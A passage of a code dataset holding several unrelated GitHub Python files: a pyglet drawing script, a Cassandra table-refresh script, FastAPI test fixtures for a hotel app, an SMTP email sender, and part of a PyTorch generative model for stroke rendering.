draw math objects\"\"\"\n\n \"\"\"Construct an math object to draw\"\"\"\n def __init__(self, shapePrimitive):\n self.shapePrimitive = shapePrimitive\n\n def draw():\n glBegin(GL_POLYGON)\n glVertex3f(0,0,0)\n glVertex3f(0,0,5)\n glVertex3f(5,5,0)\n glVertex3f(0,5,0)\n glVertex3f(5,5,5)\n\npos = [0, 0, -20]\nrot_y = 0\n\nconfig = Config(sample_buffers=1, samples=8)\ntela = pyglet.window.Window(height=500, width=500, config=config)\n\n@tela.event\ndef on_draw():\n\n global pos_z, rot_y\n\n tela.clear()\n\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(90, 1, 0.1, 100)\n\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n glTranslatef(*pos)\n glRotatef(rot_y, 0, 1, 0)\n glBegin(GL_QUADS)\n glVertex3f(0,0,0)\n glVertex3f(0,0,5)\n glVertex3f(5,5,0)\n glVertex3f(0,5,0)\n glVertex3f(5,5,5)\n\n newObject = Object(GL_POLYGON) \n\n glEnd()\n\n glFlush()\n\n@tela.event\ndef on_key_press(s,m):\n\n global pos_z, rot_y\n\n if s == pyglet.window.key.W:\n pos[2] -= 1\n if s == pyglet.window.key.S:\n pos[2] += 1\n if s == pyglet.window.key.A:\n rot_y += 5\n if s == pyglet.window.key.D:\n rot_y -= 5\n\n\ndef draw_objects(objects_list):\n for object in objects_list:\n object.begin()\n object.draw()\n glEnd()\n glFlush()\n\n\npyglet.app.run()\n","repo_name":"AntonioArroyave/LearningPyglet","sub_path":"src/shapes.py","file_name":"shapes.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73560061342","text":"import cassandra\nfrom cassandra.cluster import Cluster\n\nfrom sql_queries import *\n\n\n\ndef create_database():\n \"\"\"\n This function connect to the cassandra server and refresh the sparkifydb database by dropping it if it exists, then create it.\n\n Parameters: \n None\n\n Returns:\n None\n\n \"\"\"\n try: \n cluster = Cluster(['127.0.0.1']) #If you have a locally installed Apache Cassandra instance\n session = cluster.connect()\n except Exception as e:\n print(e)\n \n try:\n session.execute(\"\"\"\n CREATE KEYSPACE IF NOT EXISTS sparkifydb \n WITH REPLICATION = \n { 'class' : 'SimpleStrategy', 'replication_factor' : 1 }\"\"\"\n )\n\n except Exception as e:\n print(e)\n \n try:\n session.set_keyspace('sparkifydb')\n except Exception as e:\n print(e)\n\n return session, cluster\n \n\n \ndef drop_tables(session):\n \"\"\"\n This function loops through the drop_table_queries (loaded from the sql_queries.py file) and execute all the drop table statement against the cassandra database.\n\n Parameters: \n session: The session object created when making the database connection\n\n Returns:\n None\n \"\"\"\n for query in drop_table_queries:\n try:\n #print(query)\n session.execute(query)\n except Exception as e:\n print(e)\n\ndef create_tables(session):\n \"\"\"\n This function loops through the create_table_queries (loaded from the sql_queries file) and execute all the create table queries against the cassandra database.\n\n Parameters: \n session: The session object created when making the database connection\n\n Returns:\n None\n \"\"\"\n for query in create_table_queries:\n try:\n #print(query)\n session.execute(query)\n except Exception as e:\n print(e)\n\ndef main():\n \"\"\"\n This is the main function of the create_tables.py script. It calls the drop_tables method to drop all the tables then calls the create_tables method to create all the tables.\n\n Parameters: \n None\n\n Returns:\n None\n \"\"\"\n session, cluster = create_database()\n \n drop_tables(session)\n create_tables(session)\n\n session.shutdown()\n cluster.shutdown()\n print(\"Refresh completed!!!\")\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Alucarrd/DataEngineer","sub_path":"NoSQLDataModeling/refresh_database.py","file_name":"refresh_database.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17577244708","text":"import asyncio\nfrom typing import AsyncGenerator\n\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom httpx import AsyncClient\nfrom sqlalchemy.ext.asyncio import AsyncSession, create_async_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.pool import NullPool\n\nfrom database import get_async_session, Base\nfrom config import (DB_HOST_TEST, DB_NAME_TEST, DB_PASS_TEST, DB_PORT_TEST,\n DB_USER_TEST)\nfrom main import app\n\nfrom sqlalchemy import insert\n\nfrom hotels.models import Room, Hotel, HotelCategory\nfrom users.models import User\n\nDATABASE_URL_TEST = f\"postgresql+asyncpg://{DB_USER_TEST}:{DB_PASS_TEST}@{DB_HOST_TEST}:{DB_PORT_TEST}/{DB_NAME_TEST}\"\n\nengine_test = create_async_engine(DATABASE_URL_TEST, poolclass=NullPool)\nasync_session_maker = sessionmaker(engine_test, class_=AsyncSession, expire_on_commit=False)\nBase.metadata.bind = engine_test\n\n\nasync def override_get_async_session() -> AsyncGenerator[AsyncSession, None]:\n async with async_session_maker() as session:\n yield session\n\n\napp.dependency_overrides[get_async_session] = override_get_async_session\n\n\nasync def post_hotel_category_model_in_db():\n async with async_session_maker() as session:\n await session.execute(\n insert(HotelCategory).\n values([\n {\"id\": 1, \"name\": \"Дом отдыха\"},\n {\"id\": 2, \"name\": \"Гостиница\"},\n {\"id\": 3, \"name\": \"Отель\"},\n ]))\n\n await session.commit()\n\n\nasync def post_hotel_model_in_db():\n async with async_session_maker() as session:\n await session.execute(\n insert(Hotel).\n values([\n {\"id\": 1, \"name\": \"Cosmos Collection Altay Resort\", \"category_id\": 1,\n \"location\": \"Республика Алтай, Майминский район, село Урлу-Аспак, Лесхозная улица, 20\",\n \"services\": [\"Wi-Fi\", \"Бассейн\", \"Парковка\", \"Кондиционер в номере\"], \"rooms_quantity\": 60,\n \"images_id\": [\"cosmos_h\"]},\n {\"id\": 2, \"name\": \"Skala\", \"category_id\": 2,\n \"location\": \"Республика Алтай, Майминский район, поселок Барангол, Чуйская улица 40а\",\n \"services\": [\"Wi-Fi\", \"Парковка\"], \"rooms_quantity\": 100,\n \"images_id\": [\"scala_h\"]},\n {\"id\": 3, \"name\": \"Ару-Кёль\", \"category_id\": 3,\n \"location\": \"Республика Алтай, Турочакский район, село Артыбаш, Телецкая улица, 44А\",\n \"services\": [\"Парковка\"], \"rooms_quantity\": 20,\n \"images_id\": [\"arukel_h\"]},\n {\"id\": 4, \"name\": \"Гостиница Сыктывкар\", \"category_id\": 1,\n \"location\": \"Республика Коми, Сыктывкар, Коммунистическая улица, 67\",\n \"services\": [\"Wi-Fi\", \"Парковка\", \"Тренажёрный зал\"], \"rooms_quantity\": 65,\n \"images_id\": [\"sykgost_h\"]},\n {\"id\": 5, \"name\": \"Palace\", \"category_id\": 2,\n \"location\": \"Республика Коми, Сыктывкар, Первомайская улица, 62\",\n \"services\": [\"Wi-Fi\", \"Парковка\", \"Кондиционер в номере\"], \"rooms_quantity\": 120,\n \"images_id\": [\"sykpalace_h\"]},\n {\"id\": 6, \"name\": \"Bridge Resort\", \"category_id\": 3,\n \"location\": \"посёлок городского типа Сириус, Фигурная улица, 45\",\n \"services\": [\"Wi-Fi\", \"Парковка\", \"Кондиционер в номере\", \"Тренажёрный зал\"], \"rooms_quantity\": 45,\n \"images_id\": [\"bridge_h\"]},\n ]))\n\n await session.commit()\n\n\nasync def post_room_model_in_db():\n async with async_session_maker() as session:\n await session.execute(\n insert(Room).\n values([\n {\"id\": 1, \"hotel_id\": 1, \"name\": \"Улучшенный с террасой и видом на озеро\", \"price\": 24500,\n \"quantity\": 40,\n \"services\": [\"Бесплатный Wi‑Fi\", \"Кондиционер (с климат-контролем)\"], \"images_id\": [\"cosmos_r1\"],\n \"description\": 'Уютное местечко'},\n {\"id\": 2, \"hotel_id\": 1, \"name\": 'Делюкс Плюс', \"price\": 22450, \"quantity\": 20,\n \"services\": [\"Бесплатный Wi‑Fi\", \"Кондиционер\"], \"images_id\": [\"cosmos_r2\"],\n \"description\": 'Для детей самое то'},\n {\"id\": 3, \"hotel_id\": 2, \"name\": 'Номер на 2-х человек', \"price\": 4570, \"quantity\": 40,\n \"services\": [], \"images_id\": [\"scala_r1\"],\n \"description\": 'Удобно для пенсионеров'},\n {\"id\": 4, \"hotel_id\": 2, \"name\": 'Номер на 3-х человек', \"price\": 4350, \"quantity\": 60,\n \"services\": [], \"images_id\": [\"scala_r2\"],\n \"description\": \"Для большой семьи\"},\n {\"id\": 5, \"hotel_id\": 3, \"name\": 'Номер полулюкс семейный с 1 двуспальной кроватью', \"price\": 7080,\n \"quantity\": 5,\n \"services\": [\"Холодильник\"], \"images_id\": [\"arukel_r1\"],\n \"description\": \"Для маленькой семьи\"},\n {\"id\": 6, \"hotel_id\": 3, \"name\": '2-комнатный номер люкс комфорт', \"price\": 9815,\n \"quantity\": 15,\n \"services\": [], \"images_id\": [\"arukel_r2\"],\n \"description\": \"Просто удобно\"},\n {\"id\": 7, \"hotel_id\": 4, \"name\": 'Стандарт двухместный', \"price\": 4300,\n \"quantity\": 20,\n \"services\": [\"Бесплатный Wi‑Fi\", \"Холодильник\"], \"images_id\": [\"sykgost_r1\"],\n \"description\": \"Очень классное место\"},\n {\"id\": 8, \"hotel_id\": 4, \"name\": 'Стандарт улучшенный ПЛЮС', \"price\": 4700,\n \"quantity\": 35,\n \"services\": [\"Бесплатный Wi‑Fi\", \"Холодильник\", \"Ванная комната\", \"Кондиционер\"],\n \"images_id\": [\"sykgost_r2\"],\n \"description\": \"Сюда даже Галкин хочет\"},\n {\"id\": 9, \"hotel_id\": 5, \"name\": 'Номер стандарт с 2 односпальными кроватями (с завтраком)',\n \"price\": 5000,\n \"quantity\": 60,\n \"services\": [], \"images_id\": [\"sykpalace_r1\"],\n \"description\": \"Удобная кровать\"},\n {\"id\": 10, \"hotel_id\": 5, \"name\": 'Номер полулюкс премиум (с завтраком)', \"price\": 8000,\n \"quantity\": 60,\n \"services\": [], \"images_id\": [\"sykpalace_r2\"],\n \"description\": \"Соседей не слышно\"},\n {\"id\": 11, \"hotel_id\": 6, \"name\": 'Стандарт (типовой корпус)', \"price\": 8125,\n \"quantity\": 45,\n \"services\": [], \"images_id\": [\"bridge_r1\"],\n \"description\": \"Удобные кресла\"},\n ]))\n\n await session.commit()\n\n\nasync def post_user_model_in_db():\n async with async_session_maker() as session:\n await session.execute(\n insert(User).\n values([\n {\"email\": \"paha123@gmail.com\",\n \"hashed_password\": \"$2b$12$67AJ0rZBz7k8ItrZg5mTbujHurM8/iHMb1ZJQDJVlNeYRlcy2/cdS\", \"is_active\": True,\n \"is_superuser\": False, \"is_verified\": True},\n {\"email\": \"alina@gmail.com\",\n \"hashed_password\": \"1234\", \"is_active\": True,\n \"is_superuser\": False, \"is_verified\": True},\n ]))\n\n await session.commit()\n\n\n@pytest.fixture(autouse=True, scope='session')\nasync def prepare_database():\n async with engine_test.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n yield\n async with engine_test.begin() as conn:\n await conn.run_sync(Base.metadata.drop_all)\n\n\n@pytest.fixture(autouse=True, scope='session')\nasync def prepare_databasee():\n async with engine_test.begin() as conn:\n await post_hotel_category_model_in_db()\n await post_hotel_model_in_db()\n await post_room_model_in_db()\n\n\n@pytest.fixture(scope='session')\nasync def prepare_class_login():\n async with engine_test.begin() as conn:\n await post_user_model_in_db()\n\n\n# SETUP\n@pytest.fixture(scope='session')\ndef event_loop(request):\n \"\"\"Create an instance of the default event loop for each test case.\"\"\"\n loop = asyncio.get_event_loop_policy().new_event_loop()\n yield loop\n loop.close()\n\n\nclient = TestClient(app)\n\n\n@pytest.fixture(scope=\"session\")\nasync def ac() -> AsyncGenerator[AsyncClient, None]:\n async with AsyncClient(app=app, base_url=\"http://test\") as ac:\n yield\n\n\n@pytest.fixture()\ndef login_client():\n client.post(\"/auth/jwt/login\", data={\n \"grant_type\": \"\",\n \"username\": \"paha123@gmail.com\",\n \"password\": \"fddf42daf2313fsadf12421fsd$1312fsdfsdfsdf\",\n \"scope\": \"\",\n \"client_id\": \"\",\n \"client_secret\": \"\"\n })\n\n","repo_name":"pavelepanov/hotel_pet","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":9721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"40303787718","text":"import logging\nimport smtplib\nimport ssl\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\n\nclass Messenger(object):\n\n def send_email(self, receiver_address, subject, mail_content, config):\n message = MIMEMultipart()\n message['From'] = config.sender_address\n message['To'] = receiver_address\n message['Subject'] = subject\n message.attach(MIMEText(mail_content, 'plain'))\n session = smtplib.SMTP_SSL(config.smtp_server_host,\n config.smtp_server_port)\n if config.smtp_tls_enabled:\n session.starttls()\n session.login(config.sender_address, config.sender_passwd)\n recipients = receiver_address.split(\",\")\n logging.info(\"sending an email to {}\".format(str(recipients)))\n result = session.sendmail(config.sender_address,\n recipients, message.as_string())\n session.quit()\n logging.info(\"smtp server returns {}\".format(str(result)))\n\n def send_heartbeat(self, mail_content, config):\n self.send_email(config.heartbeat_receiver_addresses,\n config.heartbeat_subject,\n mail_content,\n config)\n\n def send_alert(self, mail_content, config):\n self.send_email(config.alert_receiver_addresses,\n config.alert_subject, mail_content, config)\n\n\nmessenger = Messenger()\n","repo_name":"pisoftmacao/clamnotif","sub_path":"src/clamnotif/messenger.py","file_name":"messenger.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"30356931680","text":"import itertools\nimport functools\nimport math\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport rendering\nimport util\n\n\ndef get_arcs(start_point, primitives, ids):\n \"\"\"\n Args:\n start_point: tensor [batch_size, 2]\n primitives: tensor [num_primitives, 5]\n primitives[i] = [dx, dy, theta, sharpness, width]\n ids: long tensor [batch_size, num_arcs]\n\n Returns:\n arcs: tensor [batch_size, num_arcs, 7]\n arcs[i] = [x_start, y_start, dx, dy, theta, sharpness, width]\n \"\"\"\n arcs = primitives[ids] # [batch_size, num_arcs, 5]\n dxdy = arcs[..., :2] # [batch_size, num_arcs, 5]\n start_and_dxdy = torch.cat(\n [start_point.unsqueeze(-2), dxdy], dim=-2\n ) # [batch_size, num_arcs + 1, 2]\n # [batch_size, num_arcs, 2]\n start_points = torch.cumsum(start_and_dxdy, dim=-2)[:, :-1]\n arcs = torch.cat([start_points, arcs], dim=-1)\n return arcs\n\n\ndef get_image_probs(ids, on_offs, start_point, primitives, rendering_params, num_rows, num_cols):\n \"\"\"\n Args:\n ids: tensor [batch_size, num_arcs]\n on_offs: tensor [batch_size, num_arcs]\n start_point: tensor [batch_size, 2]\n primitives: tensor [num_primitives, 5]\n primitives[i] = [dx, dy, theta, sharpness, width]\n rendering_params: tensor [2]\n rendering_params[0] = scale of value\n rendering_params[1] = bias of value\n num_rows: int\n num_cols: int\n Returns:\n probs: tensor [batch_size, num_rows, num_cols]\n \"\"\"\n arcs = get_arcs(start_point, primitives, ids)\n probs = rendering.get_probs(arcs, on_offs, rendering_params, num_rows, num_cols)\n return probs\n\n\nclass GenerativeModelIdsAndOnOffsDistribution(torch.distributions.Distribution):\n \"\"\"Distribution on ids and on_offs.\"\"\"\n\n def __init__(self, lstm_cell, linear, num_arcs, uniform_mixture, alphabet=None):\n \"\"\"\n Args:\n lstm_cell: LSTMCell\n linear: Linear\n batch_size: int\n num_arcs: int\n uniform_mixture: bool or float\n\n Returns: distribution object with batch_shape [] and\n event_shape [num_arcs, 2]\n \"\"\"\n super().__init__()\n self.lstm_cell = lstm_cell\n self.linear = linear\n self.num_arcs = num_arcs\n self.uniform_mixture = uniform_mixture\n\n self.lstm_hidden_size = self.lstm_cell.hidden_size\n self.lstm_input_size = self.lstm_cell.input_size\n self.alphabet = alphabet\n if self.alphabet is None:\n self._batch_shape = []\n self._event_shape = [num_arcs, 2]\n self.num_primitives = self.lstm_input_size - 2\n else:\n self.batch_size = alphabet.shape[0]\n self._batch_shape = [self.batch_size]\n self._event_shape = [num_arcs, 2]\n self.num_primitives = self.lstm_input_size - 2 - 50\n\n def sample(self, sample_shape=torch.Size()):\n \"\"\"\n Args:\n sample_shape: torch.Size\n\n Returns:\n ids_and_on_offs: [*sample_shape, num_arcs, 2]\n ids_and_on_offs[..., 0] are ids\n ids_and_on_offs[..., 1] are on_offs\n \"\"\"\n device = next(self.lstm_cell.parameters()).device\n num_samples = torch.tensor(sample_shape).long().prod()\n num_batch = torch.tensor(self.batch_shape).prod().long().item()\n\n if self.alphabet is None:\n lstm_input = torch.zeros((*sample_shape, self.lstm_input_size), device=device).view(\n -1, self.lstm_input_size\n )\n else:\n alphabet_expanded = (\n self.alphabet[None]\n .expand(num_samples, *self.batch_shape, 50)\n .contiguous()\n .view(-1, 50)\n )\n lstm_input = torch.cat(\n [\n torch.zeros(\n (num_samples * num_batch, self.lstm_input_size - 50), device=device\n ),\n alphabet_expanded,\n ],\n dim=-1,\n )\n h = torch.zeros((num_samples * num_batch, self.lstm_hidden_size), device=device)\n c = torch.zeros((num_samples * num_batch, self.lstm_hidden_size), device=device)\n\n ids = []\n on_offs = []\n for arc_id in range(self.num_arcs):\n h, c = self.lstm_cell(lstm_input, (h, c))\n logits = self.linear(h)\n if self.uniform_mixture:\n p = self.uniform_mixture if type(self.uniform_mixture) is float else 0.2\n id_logits = util.logit_uniform_mixture(logits[:, : self.num_primitives], p)\n on_off_logits = util.logit_uniform_mixture(logits[:, self.num_primitives :], p)\n else:\n id_logits = logits[:, : self.num_primitives]\n on_off_logits = logits[:, self.num_primitives :]\n id_dist = torch.distributions.Categorical(logits=id_logits)\n on_off_dist = torch.distributions.Categorical(logits=on_off_logits)\n\n ids.append(id_dist.sample())\n if arc_id == 0:\n on_off = torch.zeros(\n # num_samples * self.batch_size, device=device).long()\n num_samples * num_batch,\n device=device,\n ).long()\n else:\n on_off = on_off_dist.sample()\n on_offs.append(on_off)\n\n lstm_input = torch.cat(\n [\n F.one_hot(ids[-1], num_classes=self.num_primitives).float(),\n F.one_hot(on_offs[-1], num_classes=2).float(),\n *([] if self.alphabet is None else [alphabet_expanded]),\n ],\n dim=1,\n )\n return torch.stack([torch.stack(ids, dim=1), torch.stack(on_offs, dim=1)], dim=-1).view(\n *sample_shape, *self.batch_shape, self.num_arcs, 2\n )\n\n def log_prob(self, ids_and_on_offs):\n \"\"\"\n Args:\n ids_and_on_offs: [*sample_shape, num_arcs, 2]\n ids_and_on_offs[..., 0] are ids\n ids_and_on_offs[..., 1] are on_offs\n\n Returns: tensor [*sample_shape]\n \"\"\"\n device = next(self.lstm_cell.parameters()).device\n num_batch = torch.tensor(self.batch_shape).prod().long().item()\n if self.alphabet is None:\n sample_shape = ids_and_on_offs.shape[:-2]\n num_samples = torch.tensor(sample_shape).prod().long().item()\n lstm_input = torch.zeros((*sample_shape, self.lstm_input_size), device=device).view(\n -1, self.lstm_input_size\n )\n else:\n sample_shape = ids_and_on_offs.shape[:-3]\n num_samples = torch.tensor(sample_shape).prod().long().item()\n alphabet_expanded = (\n self.alphabet[None].expand(num_samples, *self.batch_shape, 50).reshape(-1, 50)\n )\n lstm_input = torch.cat(\n [\n torch.zeros(\n (num_samples * num_batch, self.lstm_input_size - 50), device=device\n ),\n alphabet_expanded,\n ],\n dim=-1,\n )\n\n h = torch.zeros((num_samples * num_batch, self.lstm_hidden_size), device=device)\n c = torch.zeros((num_samples * num_batch, self.lstm_hidden_size), device=device)\n ids = ids_and_on_offs[..., 0]\n on_offs = ids_and_on_offs[..., 1]\n\n result = 0\n for arc_id in range(self.num_arcs):\n h, c = self.lstm_cell(lstm_input, (h, c))\n logits = self.linear(h)\n if self.uniform_mixture:\n p = self.uniform_mixture if type(self.uniform_mixture) is float else 0.2\n id_logits = util.logit_uniform_mixture(logits[:, : self.num_primitives], p)\n on_off_logits = util.logit_uniform_mixture(logits[:, self.num_primitives :], p)\n else:\n id_logits = logits[:, : self.num_primitives]\n on_off_logits = logits[:, self.num_primitives :]\n id_dist = torch.distributions.Categorical(\n logits=id_logits.view(*sample_shape, *self.batch_shape, self.num_primitives)\n )\n on_off_dist = torch.distributions.Categorical(\n logits=on_off_logits.view(*sample_shape, *self.batch_shape, 2)\n )\n\n result += id_dist.log_prob(ids[..., arc_id])\n if arc_id == 0:\n pass\n else:\n result += on_off_dist.log_prob(on_offs[..., arc_id])\n\n lstm_input = torch.cat(\n [\n F.one_hot(ids[..., arc_id].view(-1), num_classes=self.num_primitives).float(),\n F.one_hot(on_offs[..., arc_id].view(-1), num_classes=2).float(),\n *([] if self.alphabet is None else [alphabet_expanded]),\n ],\n dim=1,\n )\n return result\n\n\nclass Classifier(nn.Module):\n def __init__(self, num_classes, n_features=64, dropout=True):\n super().__init__()\n self.num_classes = num_classes\n self.cnn_loc = cnn(16, n_hidden=16, dropout=False)\n self.fc_loc = nn.Linear(16, 6)\n self.cnn_out = cnn(n_features, n_hidden=n_features, dropout=dropout)\n self.fc_out = nn.Linear(n_features, num_classes)\n\n def forward(self, obs):\n obs = obs[:, None]\n theta = self.fc_loc(self.cnn_loc(obs).view(obs.shape[0], -1)).view(-1, 2, 3)\n grid = F.affine_grid(theta, obs.size(), align_corners=True)\n obs_affine = F.grid_sample(obs, grid, align_corners=True)\n y = self.fc_out(self.cnn_out(obs_affine).view(obs.shape[0], -1))\n log_p = y.log_softmax(dim=-1)\n return log_p\n\n\n@functools.lru_cache(maxsize=None)\ndef get_rotation_matrix(angle):\n angle = -angle\n return torch.tensor(\n [[math.cos(angle), math.sin(angle), 0], [-math.sin(angle), math.cos(angle), 0]]\n ).float()\n\n\n@functools.lru_cache(maxsize=None)\ndef get_translation_matrix(x, y):\n return torch.tensor([[1, 0, -x], [0, 1, y]]).float()\n\n\n@functools.lru_cache(maxsize=None)\ndef get_shear_matrix(horizontal_angle, vertical_angle):\n return torch.tensor(\n [[1, math.tan(horizontal_angle), 0], [math.tan(vertical_angle), 1, 0]]\n ).float()\n\n\n@functools.lru_cache(maxsize=None)\ndef get_scale_matrix(horizontal_squeeze, vertical_squeeze):\n return torch.tensor([[horizontal_squeeze, 0, 0], [0, vertical_squeeze, 0]]).float()\n\n\n@functools.lru_cache(maxsize=None)\ndef compose2(theta_1, theta_2):\n return torch.mm(theta_2, torch.cat([theta_1, torch.tensor([[0, 0, 1]]).float()]))\n\n\n@functools.lru_cache(maxsize=None)\ndef compose(*thetas):\n result = compose2(thetas[0], thetas[1])\n for i in range(2, len(thetas)):\n result = compose2(result, thetas[i])\n return result\n\n\n@functools.lru_cache(maxsize=None)\ndef get_thetas(device):\n num_discretizations = 3\n shear_horizontal_angles = torch.linspace(-0.1 * math.pi, 0.1 * math.pi, num_discretizations)\n shear_vertical_angles = shear_horizontal_angles\n rotate_angles = shear_horizontal_angles\n scale_horizontal_squeezes = torch.linspace(0.9, 1.1, num_discretizations)\n scale_vertical_squeezes = scale_horizontal_squeezes\n translate_xs = torch.linspace(-0.2, 0.2, num_discretizations)\n translate_ys = translate_xs\n\n transform_paramss = itertools.product(\n shear_horizontal_angles,\n shear_vertical_angles,\n rotate_angles,\n scale_horizontal_squeezes,\n scale_vertical_squeezes,\n translate_xs,\n translate_ys,\n )\n result = []\n for (\n shear_horizontal_angle,\n shear_vertical_angle,\n rotate_angle,\n scale_horizontal_squeeze,\n scale_vertical_squeeze,\n translate_x,\n translate_y,\n ) in transform_paramss:\n shear_matrix = get_shear_matrix(shear_horizontal_angle, shear_vertical_angle)\n rotate_matrix = get_rotation_matrix(rotate_angle)\n scale_matrix = get_scale_matrix(scale_horizontal_squeeze, scale_vertical_squeeze)\n translate_matrix = get_translation_matrix(translate_x, translate_y)\n result.append(compose(shear_matrix, rotate_matrix, scale_matrix, translate_matrix))\n return torch.stack(result).to(device)\n\n\nclass AffineLikelihood(torch.distributions.Distribution):\n def __init__(self, cond, thetas=None):\n \"\"\"\n Args:\n thetas: tensor [num_thetas, 2, 3]\n cond: tensor of probs [batch_size, 28, 28] in [0, 1]\n\n Returns: distribution object with batch_shape [batch_size] and\n event_shape [28, 28]\n \"\"\"\n super().__init__()\n if thetas is None:\n self.thetas = get_thetas(cond.device)\n else:\n self.thetas = thetas\n self.num_thetas = len(self.thetas)\n self.batch_size = len(cond)\n self.cond_expanded = cond[None].expand(self.num_thetas, self.batch_size, 28, 28)\n self.grid = F.affine_grid(self.thetas, self.cond_expanded.size(), align_corners=True)\n\n # num_thetas, batch_size, 28, 28\n self.cond_transformed = F.grid_sample(self.cond_expanded, self.grid, align_corners=True)\n self.dist = torch.distributions.Independent(\n torch.distributions.Bernoulli(probs=self.cond_transformed), reinterpreted_batch_ndims=2\n )\n\n def log_prob(self, obs):\n \"\"\"\n Args:\n obs: tensor [batch_size, 28, 28] in {0, 1}\n\n Returns: tensor [batch_size]\n \"\"\"\n return torch.logsumexp(self.dist.log_prob(obs), dim=0) - math.log(self.num_thetas)\n\n def sample(self, sample_shape=torch.Size()):\n \"\"\"\n Args:\n sample_shape: torch.Size\n\n Returns: [*sample_shape, batch_size, 28, 28]\n \"\"\"\n mixture_ids = torch.randint(self.num_thetas, sample_shape)\n probs = self.cond_transformed[mixture_ids.view(-1)].view(\n *sample_shape, self.batch_size, 28, 28\n )\n return torch.distributions.Bernoulli(probs=probs).sample()\n\n\nclass ClassificationLikelihood(torch.distributions.Distribution):\n def __init__(self, classifier, class_conditional_model, cond):\n super().__init__()\n self.class_probs = classifier(cond)\n self.class_conditional_model = class_conditional_model\n\n self._batch_shape = [cond.shape[0]]\n # self._event_shape = [28, 28]\n\n def log_prob(self, obs):\n raise NotImplementedError()\n\n def log_prob_with_id(self, obs, obs_id, get_accuracy=False):\n n_classes = self.class_probs.shape[-1]\n\n n_obs = obs.shape[0]\n\n # obs = obs.unsqueeze(1).expand(n_obs, n_classes, *obs.shape[1:])\\\n # .reshape(n_obs * n_classes, *obs.shape[1:])\n obs = None\n\n # obs_id = obs_id.unsqueeze(1).expand(n_obs, n_classes, *obs_id.shape[1:])\\\n # .reshape(n_obs * n_classes, *obs_id.shape[1:])\n # classes = torch.arange(n_classes, device=obs_id.device).unsqueeze(0)\\\n # .expand(n_obs, n_classes)\\\n # .reshape(n_obs * n_classes)\n\n # log_likelihood = self.class_conditional_model.forward(classes, obs, obs_id)\\\n # .reshape(n_obs, n_classes)\n log_likelihood = self.class_conditional_model.forward(obs, obs_id).reshape(n_obs, n_classes)\n\n marginal = (self.class_probs + log_likelihood).logsumexp(dim=-1)\n\n if get_accuracy:\n best_class_indices = log_likelihood.max(axis=-1).indices\n best_class_probs = self.class_probs.gather(1, best_class_indices.reshape(-1, 1))[:, 0]\n accuracy = best_class_probs.exp()\n return marginal, accuracy\n else:\n return marginal\n\n\nclass GenerativeModel(nn.Module):\n def __init__(\n self,\n num_primitives,\n initial_max_curve,\n big_arcs,\n lstm_hidden_size,\n num_rows,\n num_cols,\n num_arcs,\n likelihood=\"bernoulli\",\n uniform_mixture=False,\n use_alphabet=False,\n ):\n super(GenerativeModel, self).__init__()\n self._prior = nn.Module()\n self._likelihood = nn.Module()\n\n self.lstm_hidden_size = lstm_hidden_size\n self.big_arcs = big_arcs\n\n self.use_alphabet = use_alphabet\n if use_alphabet:\n lstm_input_size = num_primitives + 2 + 50\n else:\n lstm_input_size = num_primitives + 2\n\n self.num_primitives = num_primitives\n # pre_primitives[i] = [pre_dx, pre_dy, pre_theta, pre_sharpness,\n # pre_width]\n # constraints:\n # dx in [-0.66, 0.66]\n # dy in [-0.66, 0.66]\n # theta in [-pi, pi]\n # sharpness in [-inf, inf]\n # width in [0, 0.1]\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L775\n pre_dxdy_min = -0.4\n pre_dxdy_max = 0.4\n # self._likelihood.pre_dxdy = nn.Parameter(torch.randn((num_primitives, 2)) * 0.25)\n self._likelihood.pre_dxdy = nn.Parameter(\n torch.rand((num_primitives, 2)) * (pre_dxdy_max - pre_dxdy_min) + pre_dxdy_min\n )\n\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L769\n # self._likelihood.pre_theta = nn.Parameter(torch.randn((num_primitives,)) *\n # math.pi / 4.)\n # account for the -pi in get_primitives\n\n init_theta_min = 1 - initial_max_curve\n init_theta_max = 1 + initial_max_curve\n theta_init = (\n torch.rand((num_primitives,)) * (init_theta_max - init_theta_min) + init_theta_min\n )\n if self.big_arcs:\n # self.theta_factor = 10\n # p = theta_init / 2\n # p = 0.01 + 0.98*p\n # assert p.min()>0 and p.max()<1\n # self._likelihood.pre_theta = nn.Parameter((p.log() - (1-p).log())/self.theta_factor)\n self._likelihood.pre_theta = nn.Parameter(theta_init)\n else:\n self.theta_factor = 10\n p = theta_init - 0.5\n p = 0.01 + 0.98 * p\n assert p.min() > 0 and p.max() < 1\n self._likelihood.pre_theta = nn.Parameter((p.log() - (1 - p).log()) / self.theta_factor)\n\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L773-L774\n self._likelihood.pre_sharpness = nn.Parameter(torch.ones(num_primitives) * 20.0)\n # modified so that exp(pre_sharpness) + 5 is approx. 20\n # self._likelihood.pre_sharpness = nn.Parameter(torch.ones(num_primitives) * 2.71)\n\n # https://github.com/insperatum/wsvae/blob/master/examples/mnist/mnist.py#L771-L772\n self._likelihood.pre_width = nn.Parameter(torch.ones(num_primitives) * -2.0)\n\n self._prior.lstm_cell = nn.LSTMCell(\n input_size=lstm_input_size, hidden_size=lstm_hidden_size\n )\n self._prior.linear = nn.Linear(lstm_hidden_size, num_primitives + 2)\n self.num_rows = num_rows\n self.num_cols = num_cols\n self.num_arcs = num_arcs\n self.register_buffer(\"start_point\", torch.tensor([0.5, 0.5]))\n\n # 